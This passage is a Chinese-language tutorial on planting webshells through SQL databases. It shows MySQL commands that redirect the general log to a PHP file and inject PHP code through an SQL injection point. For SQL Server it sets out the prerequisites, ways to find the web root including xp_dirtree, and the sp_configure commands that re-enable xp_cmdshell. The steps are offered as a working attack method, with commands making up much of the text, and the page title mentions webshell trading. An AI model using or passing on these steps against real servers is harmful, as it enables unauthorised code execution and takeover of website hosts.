三大数据库如何写入WebShell?,webshell交易

将log日志开启,并设置日志的写入位置:

Set globalgeneral_log = on;

Set globalgeneral_log_file = ‘F:/test.php’;

图7:设置日志写入位置

(2)使用写入日志再读取的方法

直接在SQL注入点,使用查询语句,添加WebShell代码,如下:

Select '<?phpphpinfo();?>';

此时这段WebShell代码已经被记录到日志文件中了,接下就可以使用连接工具进行连接了。

图8:使用写入日志再读取的方法

SqlServer写入WebShell

01必备条件

① 有相应的权限db_owner

② 获得Web目录的绝对路径

02写入方法

向MSSQL写入WebShell的方法一共有种:利用xp_cmdshell命令、差异备份写入shell、log备份写入shell。

03使用XP_cmdshell写入Webshell

(1)实验前准备:

首先我们需要查找网站目录的绝对路径,查找绝对路径的方法有5种:

通过报错信息查找;

通过目录爆破猜解;

通过旁站的目录确定;

通过存储过程来搜索;

通过读取配置文件查找。

其中通过存储过程来搜索,SQLServer提供了两种方法:xp_cmdshell和xp_dirtree

execute master..xp_dirtree ‘c:’; 可以查出所有c:下的文件、目录、子目录。

图9:查找网站目录的绝对路径

在真实环境中时,我们执行execute可能并不能得到回显信息,但我们可以在注入点处新建一张表,然后将xp_dirtree查询到的信息插入其中,再查询这张表即可得相应的绝对路径了。

Xp_cmdshell是一个更为有效的查询绝对路径的函数,但是目前已经被SQLServer默认关闭了,但我们可以使用如下命令启用这个选项。

EXEC sp_configure 'show advanced options',1;//允许修改高级参数RECONFIGURE;

EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展RECONFIGURE;--

图10:打开xp_cmdshell扩展

相关推荐

相关文章